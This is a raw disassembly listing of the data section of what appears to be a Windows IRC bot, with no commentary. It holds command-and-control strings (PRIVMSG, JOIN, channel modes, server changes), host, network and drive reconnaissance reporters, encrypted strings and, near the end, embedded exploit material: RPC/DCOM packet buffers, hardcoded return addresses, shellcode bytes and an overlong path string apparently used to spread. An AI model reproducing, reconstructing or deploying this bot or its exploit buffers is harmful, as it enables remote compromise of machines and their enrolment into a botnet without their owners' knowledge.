dword_4191F4 dd 73h ; sub_4083AD:loc_4086E7o ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_4083AD+2D2o aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_4083AD+296o align 4 aNo db 'No',0 ; DATA XREF: sub_4083AD:loc_4085EBo ; sub_408B30:loc_408CB4o ... align 10h aYes db 'Yes',0 ; DATA XREF: sub_4083AD+232o ; sub_408B30+178o ... a2003 db '2003',0 ; DATA XREF: sub_4083AD+1FFo align 4 aXp db 'XP',0 ; DATA XREF: sub_4083AD+1E1o align 10h a2000 db '2000',0 ; DATA XREF: sub_4083AD+1C3o align 4 aMe db 'ME',0 ; DATA XREF: sub_4083AD+1A5o align 4 a98 db '98',0 ; DATA XREF: sub_4083AD+187o align 10h aNt db 'NT',0 ; DATA XREF: sub_4083AD+166o align 4 a95 db '95',0 ; DATA XREF: sub_4083AD+153o align 4 aNoSp db 'no SP',0 ; DATA XREF: sub_4083AD+12Eo align 10h a?: ; DATA XREF: sub_4083AD+124o unicode 0, <?>,0 aSysinfoThread db 'Sysinfo thread',0 ; DATA XREF: sub_4087C4+2Bo align 4 dword_419284 dd 7774654Eh, 206B726Fh, 6F666E69h, 74616D72h, 206E6F69h ; DATA XREF: sub_408B30+2D4o dd 6F48202Dh, 203A7473h, 2343003h, 2037325h, 614E202Eh dd 203A656Dh, 2343003h, 2037325h, 7954202Eh, 203A6570h dd 2343003h, 2037325h, 5049202Eh, 203A3676h, 2343003h dd 2037325h, 6946202Eh, 61776572h, 64656C6Ch, 3003203Ah dd 73250234h, 202E0203h, 6574614Ch, 3A79636Eh, 34300320h dd 3732502h, 25202C02h, 53202E75h, 64656570h, 3003203Ah dd 30250234h, 366322Eh, 424B2B02h, 6365732Fh, 5249202Eh dd 70552043h, 656D6974h, 3003203Ah, 64250234h, 61640203h dd 20732579h, 2343003h, 2036425h, 72756F68h, 3207325h dd 25023430h, 6D020364h, 74756E69h, 2E732565h, 0 aGood db 'Good',0 ; DATA XREF: sub_408B30+1F9o align 4 aAvarage db 'Avarage',0 ; DATA XREF: sub_408B30+1E3o aBad db 'Bad',0 ; DATA XREF: sub_408B30+1CDo aLan db 'LAN',0 ; DATA XREF: sub_408B30:loc_408C8Fo aModem db 'Modem',0 ; DATA XREF: sub_408B30+14Do align 10h aUnknown_0 db 'Unknown',0 ; DATA XREF: sub_408B30+F5o ; sub_408B30+108o aNetinfoThread db 'Netinfo thread',0 ; DATA XREF: sub_408E4A+2Bo align 4 dword_419398 dd 5C3A41h ; sub_408F2E+4Er ... dword_41939C dd 6F547325h, 206C6174h, 76697264h, 203A7365h, 2343003h ; DATA XREF: sub_408F2E+270o dd 2037525h, 6F54202Ch, 206C6174h, 63617073h, 3203A65h dd 25023430h, 4D020375h, 72662042h, 2E6565h dword_4193D4 dd 30037325h, 73250234h, 73250203h, 0dword_4193E4 dd 30037325h, 73250234h, 73250203h, 34300320h, 3752502h ; DATA XREF: sub_408F2E+1C5o dd 20424D02h, 65657266h, 0 dword_419404 dd 202Eh ; sub_408F2E+24Ao aUnknown db 'unknown',0 ; DATA XREF: sub_408F2E:loc_40902Do ; sub_4129CA+34o aRamdisk db 'ramdisk',0 ; DATA XREF: sub_408F2E+F6o aCdRom db 'cd-rom',0 ; DATA XREF: sub_408F2E+E4o align 10h aRemote db 'remote',0 ; DATA XREF: sub_408F2E+D2o align 4 aFixed db 'fixed',0 ; DATA XREF: sub_408F2E+C0o align 10h aRemovable db 'removable',0 ; DATA XREF: sub_408F2E+AEo align 4 aDriveInformati db 'Drive information - ',0 ; DATA XREF: sub_408F2E+2Eo align 4 aDriveinfoThrea db 'Driveinfo thread',0 ; DATA XREF: sub_4091E2+2Bo align 4 aThread db 'thread',0 ; DATA XREF: sub_4093B6+98o ; sub_4094E6+93o align 10h aBtg db 'btg',0 ; DATA XREF: sub_4093B6+93o dword_419474 dd 3430032Dh, 62656402h, 2036775haBtgTriedExecut db '- btg tried executing an unreadable address. (%08X)',0 aS db '*%s*',0 ; DATA XREF: sub_4097A7+81o ; sub_4098F3+C4o align 4 dword_4194BC dd 2343003h, 2036925h, 7325202Eh, 0dword_4194CC dd 3430032Dh, 2037802haNoThreadsRunni db '- No threads running.',0 align 4 dword_4194EC dd 3430032Dh, 2037802h, 694C202Dh, 6E697473h, 30032067h ; DATA XREF: sub_409AD5+3Ao dd 69250234h, 32F0203h, 25023430h, 20020369h, 65726874h dd 3A736461h, 0 aCouldNotGetAVa db 'Could not get a valid ICMP handle',0Ah,0 ; DATA XREF: sub_409CB1+15o align 10h dword_419540 dd 2343003h, 2036425h, 2020202Eh, 3 dup(2020202Ah), 6F727245h ; DATA XREF: sub_409DD0+3A3o dd 30033A72h, 64250234h, 203h dword_419568 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+37Fo dd 736D6425h, 34300320h, 2E642502h, 252E6425h, 64252E64h dd 203h dword_419594 dd 2343003h, 2036425h, 6425202Eh, 2520736Dh, 20736D64h ; DATA XREF: sub_409DD0+32Fo dd 736D6425h, 34300320h, 3732502h, 25282002h, 64252E64h dd 2E64252Eh, 296425h aCouldNotResolv db 'Could not resolve name',0 ; DATA XREF: sub_409DD0:loc_409F06o align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_409DD0+80o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_409DD0+6Ao align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_409DD0:loc_409E24o align 4 aIcmp_dll db 'ICMP.DLL',0 ; DATA XREF: sub_409DD0+34o align 4 unk_419618 db 55h ; U ; DATA XREF: sub_40A1A7+Co db 73h, 61h, 67h db 65h ; e db 3Ah, 20h, 3 db 30h ; 0 db 34h, 2, 74h db 72h ; r db 61h, 63h, 65h db 3 db 2, 20h, 3Ch db 3 db 30h, 34h, 2 db 68h ; h db 6Fh, 73h, 74h db 3 db 2, 3Eh, 20h aHopcountTimeou db '[<hopcount> <timeout> <pingcount>]',0 align 4 dword_41965C dd 202h dword_419660 dd 0A0D7325h, 0 dword_419668 dd 3334h dword_41966C dd 3430032Dh, 3752502h, 51202D02h, 79726575h, 20676E69h ; DATA XREF: sub_40A2D2+24o dd 2343003h, 2037325h, 726F6620h, 34300320h, 3732502h dd 3A02h dword_419698 dd 6F727245h, 75712072h, 69797265h, 320676Eh, 25023430h ; DATA XREF: sub_40A4A4+44o dd 2E020373h, 0 dword_4196B4 dd 72657551h, 676E6979h, 34300320h, 3732502h, 6F662002h ; DATA XREF: sub_40A50E+97o dd 30032072h, 73250234h, 203h dword_4196D4 dd 0F88094A8h, 0D0F3A2F0h, 0A0C6E2BCh, 0EDA8h, 0 ; DATA XREF: sub_40A50E:loc_40A562o aAbcdef db 'abcdef',0 ; DATA XREF: sub_40A8AD+1Bo align 10h aUsername db 'username',0 ; DATA XREF: sub_40A9CF:loc_40C8EAo align 4 aId db 'id',0 ; DATA XREF: sub_40A9CF+1EF2o align 10h dword_419700 dd 12EA0h align 8 dword_419708 dd 69747055h, 2D20656Dh, 73795320h, 3A6D6574h, 34300320h ; DATA XREF: sub_40A9CF+1EB1o dd 3642502h, 79616402h, 3207325h, 25023430h, 68020364h dd 2572756Fh, 30032073h, 64250234h, 696D0203h, 6574756Eh dd 202E7325h, 3A435249h, 34300320h, 3642502h, 79616402h dd 3207325h, 25023430h, 68020364h, 2572756Fh, 30032073h dd 64250234h, 696D0203h, 6574756Eh, 7325h dword_41977C dd 4DC8A28h dd 2 dup(0) dword_419788 dd 4D38h align 10h dword_419790 dd 22710E8h dd 2 dup(0) a9252 db '9252',0 ; DATA XREF: sub_40A9CF+1BFAo align 4 dword_4197A4 dd 99C3EAA0h dd 3 dup(0) dword_4197B4 dd 261D51F8h align 10h dword_4197C0 dd 260A0h align 8 dword_4197C8 dd 1371D1F8h dd 2 dup(0) dword_4197D4 dd 135E8h dd 0 dword_4197DC dd 0E7606A0h dd 2 dup(0) dword_4197E8 dd 6B6E696Ch, 30037620h, 64250234h, 32E0203h, 25023430h ; DATA XREF: sub_40A9CF+1B17o dd 3643330h, 20732502h, 6E69575Bh, 5D3233h dword_41980C dd 18820E30h dd 2 dup(0) dword_419818 dd 18788h align 10h dword_419820 dd 65657053h, 3203A64h, 25023430h, 4B020375h, 65732F42h ; DATA XREF: sub_40A9CF+1AC8o dd 63h dword_419838 dd 4CBE20h dd 2 dup(0) dword_419844 dd 2343003h, 2037325haHasNoIpv4End_ db ' has no ipv4 end.',0 align 10h dword_419860 dd 20656854h, 34767069h, 646E6520h, 20666F20h, 2343003h ; DATA XREF: sub_40A9CF+1976o dd 2037325h, 20736920h, 2343003h, 252E6925h, 69252E69h dd 369252Eh, 2 a2002 db '2002',0 ; DATA XREF: sub_40A9CF+1851o align 4 dword_419898 dd 0E7AAB82Ch dd 3 dup(0) dword_4198A8 dd 2343003h, 2037325h, 44202D20h, 203A534Eh, 2343003h ; DATA XREF: sub_40A9CF+17C1o dd 2037325h, 0 dword_4198C4 dd 158F28h align 10h dword_4198D0 dd 6F727245h, 65722072h, 766C6F73h, 20676E69h, 2343003h ; DATA XREF: sub_40A9CF+16F1o ; sub_40A9CF+17ECo dd 2037325h, 2Eh dword_4198EC dd 2343003h, 2037325h, 55202D20h, 6F6E6B6Eh, 74206E77h ; DATA XREF: sub_40A9CF+16AAo dd 20657079h, 2343003h, 2036425h, 64646120h, 73736572h dd 3003203Ah, 73250234h, 203h dword_419920 dd 2343003h, 2037325h, 49202D20h, 20367650h, 72646461h ; DATA XREF: sub_40A9CF+1659o dd 3A737365h, 34300320h, 3732502h, 2 dword_419944 dd 2343003h, 2037325h, 49202D20h, 20347650h, 72646461h ; DATA XREF: sub_40A9CF+1602o dd 3A737365h, 34300320h, 3732502h, 2 dword_419968 dd 3Ch ; sub_40A9CF:loc_40C011o ... dword_41996C dd 0FF28h dd 0 aQuitChangingSe db 'QUIT :changing server',0 ; DATA XREF: sub_40A9CF:loc_40BED3o align 4 dword_41998C dd 5B7606ABh dd 3 dup(0) dword_41999C dd 26C9788h dd 2 dup(0) dword_4199A8 dd 48B0h align 10h dword_4199B0 dd 4CEEE8h dd 2 dup(0) dword_4199BC dd 0ECE0h dd 0 dword_4199C4 dd 0DC9BA4F1h dd 3 dup(0) dword_4199D4 dd 72616843h, 65746361h, 6E692072h, 68202D20h, 203A7865h ; DATA XREF: sub_40A9CF+1431o dd 2343003h, 30257830h, 2035832h, 63656420h, 3003203Ah dd 75250234h, 2E0203h dword_419A04 dd 8A248h align 10h dword_419A10 dd 2D77B5A0h dd 2 dup(0) dword_419A1C dd 10468h dd 0 dword_419A24 dd 12BBA0h align 10h dword_419A30 dd 1471A0h dd 2 dup(0) dword_419A3C dd 45444F4Dh, 732520hdword_419A44 dd 8BD28h align 10h dword_419A50 dd 1277AE62h align 10h aDebugModeIsS_ db 'Debug mode is %s.',0 ; DATA XREF: sub_40A9CF+129Co align 4 aOff db 'off',0 ; DATA XREF: sub_40A9CF:loc_40BC5Bo aOn db 'on',0 ; DATA XREF: sub_40A9CF+1280o ; sub_40A9CF:loc_40BC84o align 4 off_419A7C dd offset loc_410DB7+1 ; DATA XREF: sub_40A9CF+125Fr dd 2 dup(0) dword_419A88 dd 2DCF8h align 10h dword_419A90 dd 4688368h dd 2 dup(0) dword_419A9C dd 123B8h dd 0 dword_419AA4 dd 4C2338h align 10h dword_419AB0 dd 54524150h, 732520hdword_419AB8 dd 1265A0h dd 2 dup(0) dword_419AC4 dd 0C0AB0h align 10h dword_419AD0 dd 4E494F4Ah, 20732520h, 7325h ; sub_40A9CF+10FAo ... dword_419ADC dd 0A6CB0h dd 2 dup(0) aQuitSRemoved_ db 'QUIT :%s removed.',0 ; DATA XREF: sub_40A9CF+100Ao align 4 dword_419AFC dd 5AF4DA8h dd 2 dup(0) dword_419B08 dd 8085E8h dd 2 dup(0) dword_419B14 dd 4CD168h align 10h dword_419B20 dd 0CEF58D2Ch align 10h dword_419B30 dd 2DB260E0h dd 2 dup(0) dword_419B3C dd 90BBA32Ch dd 3 dup(0) dword_419B4C dd 48489E0h dd 2 dup(0) dword_419B58 dd 1246E8h dd 2 dup(0) dword_419B64 dd 74736F48h, 72646441h, 3003203Ah, 73250234h, 203h ; DATA XREF: sub_40A9CF+E77o dword_419B78 dd 0DFBD949h dd 3 dup(0) dword_419B88 dd 65736162h, 64203436h, 646F6365h, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+E2Fo dd 2037325h, 0 off_419BA4 dd offset loc_40E3E0 ; DATA XREF: sub_40A9CF+DC8r align 10h aItTookMeUms_ db 'It took me %ums.',0 ; DATA XREF: sub_40A9CF+DA9o align 4 dword_419BC4 dd 65736162h, 65203436h, 646F636Eh, 203A6465h, 2343003h ; DATA XREF: sub_40A9CF+D20o dd 2037325h, 0 dword_419BE0 dd 293E0h align 8 dword_419BE8 dd 0E426671h dd 3 dup(0) dword_419BF8 dd 0E04A6C27h dd 4 dup(0) dword_419C0C dd 2BBDB0A9h dd 3 dup(0) dword_419C1C dd 86670h dd 2 dup(0) dword_419C28 dd 23C76670h dd 2 dup(0) dword_419C34 dd 4CBE670h align 10h dword_419C40 dd 2577B5A0h dd 2 dup(0) dword_419C4C dd 203A5049h, 2343003h, 2037325h, 0dword_419C5C dd 4C38h dd 0 dword_419C64 dd 123F0AA8h align 10h dword_419C70 dd 289D4860h dd 2 dup(0) dword_419C7C dd 28A446E8h dd 2 dup(0) dword_419C88 dd 5E9DD92Bh dd 3 dup(0) dword_419C98 dd 5E9E29C3h dd 3 dup(0) dword_419CA8 dd 489DAC36h dd 3 dup(0) dword_419CB8 dd 29A560E1h dd 3 dup(0) dword_419CC8 dd 9A060h dd 2 dup(0) dword_419CD4 dd 69F334E0h dd 3 dup(0) dword_419CE4 dd 14EFBCE0h align 10h dword_419CF0 dd 0A7768h dd 2 dup(0) dword_419CFC dd 0B4768h dd 2 dup(0) dword_419D08 dd 43B8h align 10h aThisBuildIsBro db 'This build is broken and will not function properly.',0 ; DATA XREF: sub_40A9CF:loc_40B1D8o align 4 aThisBuildIsFul db 'This build is fully functional',0 ; DATA XREF: sub_40A9CF+7FDo align 4 dword_419D68 dd 2343003h, 4B4F5242h, 2034E45h, 0dword_419D78 dd 2333003h, 2034B4Fh, 0dword_419D84 dd 0AFh, 0 dword_419D8C dd 0B4B7B58Ah, 0EBD0ACF6h, 0EE9DA98Dh, 0DBFAB7E3h, 0B19CD9FFh ; DATA XREF: sub_40A9CF+790o dd 8CBCB6DEh, 0E09BA9F5h, 2 dup(0) dword_419DB0 dd 3115E88h dd 2 dup(0) dword_419DBC dd 0B12C0878h dd 3 dup(0) dword_419DCC dd 0EE5AD128h dd 3 dup(0) aALSsSCJEKi db '¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›',0 ; DATA XREF: sub_40A9CF+534o align 4 dd 0 dword_419DFC dd 0F888959Bh, 0F2FEEDF7h, 0BB8CE3A7h, 0C489EDAEh, 2 dup(0) ; DATA XREF: sub_40A9CF+448o dword_419E14 dd 0C5A9B38Ch, 0E7C0CDD4h, 0AD81C189h, 0EFB3F6BFh, 0C6B388B9h ; DATA XREF: sub_40A9CF+437o dd 0CDF6E2EAh, 80C8FFA2h, 0F583C599h, 0FF8A8EADh, 0D0F7DAF7h dd 0A087E5A6h, 2 dup(0) dword_419E48 dd 24648h align 10h dword_419E50 dd 29A012A1h align 10h dword_419E60 dd 29A0C6E9h align 10h dword_419E70 dd 38323166h, 2B636E65h, 20626166h, 72636564h, 65747079h ; DATA XREF: sub_40A9CF+39Co dd 3203A64h, 25023430h, 20373h dword_419E90 dd 0FDD9520h dd 2 dup(0) dword_419E9C dd 38323166h, 2B636E65h, 20626166h, 72636E65h, 65747079h ; DATA XREF: sub_40A9CF+2A1o dd 3D203A64h, 2343003h, 2037325h, 0 dword_419EC0 dd 232320h dword_419EC4 dd 25219520h align 10h dword_419ED0 dd 407D28h dd 2 dup(0) dword_419EDC dd 72727543h, 20746E65h, 646E6977h, 203A776Fh, 2343003h ; DATA XREF: sub_40A9CF+139o dd 2037325h, 0 dword_419EF8 dd 47B91A8h dd 2 dup(0) dword_419F04 dd 4B43494Eh, 732520h ; sub_40A9CF+EFo ... dword_419F0C dd 132330h dd 2 dup(0) dword_419F18 dd 3677C869h dd 3 dup(0) aLinkLink@linkP db 'link!link@link PRIVMSG %s :%s',0 ; DATA XREF: sub_40C93C+88o ; sub_40D871+85Fo align 4 asc_419F48: ; DATA XREF: sub_40C93C+30o ; sub_40C93C+B5o unicode 0, <;>,0 asc_419F4C db '<=',0 ; DATA XREF: sub_40CA29:loc_40CE59o align 10h asc_419F50 db '>=',0 ; DATA XREF: sub_40CA29:loc_40CE07o align 4 asc_419F54: ; DATA XREF: sub_40CA29:loc_40CDDBo dw 3Eh unicode 0, <>,0 asc_419F58 db '!=',0 ; DATA XREF: sub_40CA29:loc_40CDAFo align 4 asc_419F5C db '==',0 ; DATA XREF: sub_40CA29:loc_40CD83o align 10h aIpv6 db '$ipv6',0 ; DATA XREF: sub_40CA29:loc_40CC43o ; sub_40CA29:loc_40CD58o align 4 aFirewall db '$firewall',0 ; DATA XREF: sub_40CA29:loc_40CC1Fo ; sub_40CA29:loc_40CD34o align 4 aLatency db '$latency',0 ; DATA XREF: sub_40CA29:loc_40CBFBo ; sub_40CA29:loc_40CD10o align 10h aFree db '$free',0 ; DATA XREF: sub_40CA29:loc_40CBD7o ; sub_40CA29:loc_40CCECo align 4 aVersion db '$version',0 ; DATA XREF: sub_40CA29:loc_40CBB1o ; sub_40CA29:loc_40CCC6o align 4 aUptime db '$uptime',0 ; DATA XREF: sub_40CA29+158o ; sub_40CA29+26Do a32s16s32s db '%32s %16s %32s',0 ; DATA XREF: sub_40CA29+EEo align 4 asc_419FAC db '&&',0 ; DATA XREF: sub_40CA29+9Do ; sub_40CA29+45Do align 10h asc_419FB0: ; DATA XREF: sub_40CA29+28o unicode 0, <)>,0 aExecutingComma db 'Executing command(s): %s',0 ; DATA XREF: sub_40CEB0+5Co align 10h a6667 db '6667',0 ; DATA XREF: sub_40CF2F:loc_40CF60o align 4 aCSCCUCUSCCC db '%c%s%c%c%u%c%u%s%c%c%c',0 ; DATA XREF: sub_40D043+27Bo ; sub_40D871+431o align 10h aG: ; DATA XREF: sub_40D043+1DCo ; sub_40D871+392o unicode 0, <G>,0 aA: ; DATA XREF: sub_40D043+1C6o ; sub_40D871+37Co unicode 0, <A>,0 aB: ; DATA XREF: sub_40D043+1B0o ; sub_40D871+366o unicode 0, <B>,0 aUnk db 'UNK',0 ; DATA XREF: sub_40D043+160o ; sub_40D871+316o aUserSSSS db 'USER %s %s %s :%s',0 ; DATA XREF: sub_40D043+E2o align 4 aPassS db 'PASS %s',0 ; DATA XREF: sub_40D043+3Fo aNoticeS db 'NOTICE %s :',0 ; DATA XREF: sub_40D420+10o ; sub_40D53F+37o aPrivmsgS db 'PRIVMSG %s :',0 ; DATA XREF: sub_40D4AB+10o ; sub_40D53F+AFo align 4 dword_41A038 dd 1 dword_41A03C dd 7373656Dh, 20656761h, 0dword_41A048 dd 49544F4Eh, 25204543h, 13A2073h, 0dword_41A058 dd 56495250h, 2047534Dh, 3A207325h, 1aMirc db 'mIRC',0 ; DATA XREF: sub_40D734+6o ; sub_40D74D:loc_40D76Eo align 10h asc_41A070: ; DATA XREF: sub_40D871+CB7o unicode 0, <*>,0 aNotice db 'NOTICE',0 ; DATA XREF: sub_40D871:loc_40E1C0o ; sub_40E618+89o align 4 asc_41A07C db '][',0 ; DATA XREF: sub_40D871+807o ; sub_40D871+88Co align 10h a332 db '332',0 ; DATA XREF: sub_40D871:loc_40DF8Eo aNick db 'NICK',0 ; DATA XREF: sub_40D871:loc_40DF3Eo align 4 a@: ; DATA XREF: sub_40D871:loc_40DEBEo unicode 0, <@>,0 a302 db '302',0 ; DATA XREF: sub_40D871:loc_40DE96o ; sub_40E618+33o a451 db '451',0 ; DATA XREF: sub_40D871:loc_40DE70o aUserhostS db 'USERHOST %s',0 ; DATA XREF: sub_40D871+5C4o ; sub_40D871+5EEo aModeSXi db 'MODE %s +xi',0 ; DATA XREF: sub_40D871+571o a001 db '001',0 ; DATA XREF: sub_40D871:loc_40DD97o aModeSSmntu db 'MODE %s +smntu',0 ; DATA XREF: sub_40D871+515o align 4 aJoin db 'JOIN',0 ; DATA XREF: sub_40D871:loc_40DD25o align 4 aError db 'ERROR',0 ; DATA XREF: sub_40D871:loc_40DCFDo align 4 a433 db '433',0 ; DATA XREF: sub_40D871:loc_40DB2Do dword_41A0D8 dd 4950013Ah, 1474Ehdword_41A0E0 dd 4950013Ah, 474Ehdword_41A0E8 dd 52455601h, 4E4F4953h, 1732520h, 0aEggdropV1_6_16 db 'eggdrop v1.6.16',0 ; DATA XREF: sub_40D871:loc_40DAD1o dword_41A108 dd 52455601h, 4E4F4953h, 6E696C20h, 2576206Bh, 30252E64h ; DATA XREF: sub_40D871+24Eo dd 73256433h, 69572820h, 2932336Eh, 1 dword_41A12C dd 4556013Ah, 4F495352h, 14Ehdword_41A138 dd 4556013Ah, 4F495352h, 4EhaSend db 'SEND',0 ; DATA XREF: sub_40D871+CDo align 4 dword_41A14C dd 4344013Ah, 43haPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_40D871:loc_40D8DDo ; sub_40D871+901o ... aMode db 'MODE',0 ; DATA XREF: sub_40D871:loc_40D8C2o align 4 aPong db 'PONG',0 ; DATA XREF: sub_40D871:loc_40D8A7o align 4 aPongS db 'PONG %s',0 ; DATA XREF: sub_40D871+25o aPing db 'PING',0 ; DATA XREF: sub_40D871+Ao align 4 aLinkLink@link db 'link!link@link',0 ; DATA XREF: sub_40E618:loc_40E7A5o align 4 byte_41A18C db 41h ; DATA XREF: sub_40E979+3Cr ; sub_40EB4E+24r ... aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 10h dword_41A1D0 dd 3430032Dh, 3732502h, 30032E02h, 73250234h, 202D0203h ; DATA XREF: sub_4129CA+5Co dd 202E7525h, 20776152h, 6E617274h, 72656673h, 206F7420h dd 63207325h, 6C706D6Fh, 2E657465h, 0 dd 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F9D463h, 750362C3h, 75035173h, 3 dup(717564B8h) dd 71AB7BFBh, 773AD507h, 7C941EEDh, 77DB565Ch, 77FD1F89h dd 2 dup(77E216B8h), 1130h, 0 ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- db 0F5h, 28h, 5Ch dd 400DC28Fh, 5 dup(0) dd 1, 0 dd 0FFCA8166h, 6A52420Fh, 2ECD5802h, 745A053Ch, 5E21B8EFh dd 0FA8B4A9Dh, 0AFEA75AFh, 0E7FFE775h, 0 dd 2 dup(4A9D5E21h), 0 dd 77777777h, 77777776h, 77777775h, 77F326C6h, 77F29267h dd 77777772h, 77F32836h, 750362C3h, 75035173h, 3 dup(7C2FA0F7h) dd 2 dup(71AB7BFBh), 7C941EEDh, 77E216B8h, 77FD1F89h, 2 dup(77E216B8h) dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 aFxnbfxfxnbfxfx: unicode 0, <FXNBFXFXNBFXFXFXFX>,0 align 4 db 0CCh db 0E0h, 0FDh, 7Fh db 0CCh db 0E0h, 0FDh, 7Fh align 8 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dd 20h, 0 dd 20h, 5C005Ch, 0 dd offset loc_43005C a12345611111111: unicode 0, <$\123456111111111111111.doc>,0 align 10h dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) dd 2180310h, 10016C6h, 100139Dh, 1001C55h, 1001C98h dword_41A7A8 dd 5F5C0A0Dh, 2E2Fh ; sub_410B52+Fo dword_41A7B0 dd 30B0005h, 10h, 48h, 0 dd 16D016D0h, 0 dd 1, 10000h, 4D9F4AB8h, 11CF7D1Ch, 20001E86h, 577C6EAFh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_41A7FC dd 3000005h, 10h, 5 dup(0)dword_41A818 dd 10005h, 2 dup(0) dd 75757D58h, 47C6EB40h, 0A74E71BCh, 97B5D01Ch, 5 dup(0) dd 90000h, 300h, 0 dd 300h, 5C005Ch, 0 dword_41A860 dd 0 dd 2, 0 dd 1, 91C68h, 1, 2 dup(0) dd 0C0h, 46000000h, 2 dup(1), 7 ; --------------------------------------------------------------------------- loc_41A894: ; DATA XREF: sub_410649+153o mov eax, [esp-4] add eax, 0FFFFFAE0h jmp eax ; --------------------------------------------------------------------------- align 10h loc_41A8A0: ; DATA XREF: sub_410649+E5o mov eax, [ebp+30h] add eax, 0FFFFFB24h jmp eax ; --------------------------------------------------------------------------- align 4 loc_41A8AC: ; DATA XREF: sub_410649+202o jmp short loc_41A8BE ; --------------------------------------------------------------------------- jmp short loc_41A8C9 ; --------------------------------------------------------------------------- dd 0 ; --------------------------------------------------------------------------- loc_41A8B4: ; DATA XREF: sub_410649+2DBo jmp short near ptr word_41A8BA ; --------------------------------------------------------------------------- dw 0FFFFh db 2 dup(0FFh) word_41A8BA dw 0 ; CODE XREF: .packed:loc_41A8B4j ; --------------------------------------------------------------------------- loc_41A8BC: ; DATA XREF: sub_410649+330o jmp short near ptr word_41A8C2 ; --------------------------------------------------------------------------- loc_41A8BE: ; CODE XREF: .packed:loc_41A8ACj ; .packed:loc_41A8DCj jmp short loc_41A8C4 ; --------------------------------------------------------------------------- db 2 dup(0) word_41A8C2 dw 0 ; CODE XREF: .packed:loc_41A8BCj ; --------------------------------------------------------------------------- loc_41A8C4: ; CODE XREF: .packed:loc_41A8BEj ; DATA XREF: sub_410649+385o jmp short near ptr loc_41A8C9+1 ; --------------------------------------------------------------------------- dw 0FFFFh db 0FFh ; --------------------------------------------------------------------------- loc_41A8C9: ; CODE XREF: .packed:0041A8AEj ; .packed:loc_41A8C4j inc dword ptr [eax] ; --------------------------------------------------------------------------- db 0 off_41A8CC dd offset loc_41005C ; DATA XREF: sub_410649+449o dd 2 dup(0) dword_41A8D8 dd 77F33723h ; --------------------------------------------------------------------------- loc_41A8DC: ; DATA XREF: sub_410649+286o jmp short loc_41A8BE ; --------------------------------------------------------------------------- dw 7FFDh ; --------------------------------------------------------------------------- loc_41A8E0: ; DATA XREF: sub_410649+22Eo lahf jnz short loc_41A8FB loc_41A8E3: ; DATA XREF: sub_410649+13Do add [ecx+1Ch], bl loc_41A8E6: ; CODE XREF: .packed:loc_41A8F0j add [ecx], al loc_41A8E8: ; DATA XREF: sub_410649+111o or ecx, [ebx] sbb eax, [eax] loc_41A8EC: ; DATA XREF: sub_410649+127o jmp short near ptr dword_41A8F4 ; --------------------------------------------------------------------------- align 10h loc_41A8F0: ; DATA XREF: sub_410649+FBo jmp short loc_41A8E6 ; --------------------------------------------------------------------------- align 4 dword_41A8F4 dd 85000000h ; --------------------------------------------------------------------------- call dword ptr [ebx+4Dh] loc_41A8FB: ; 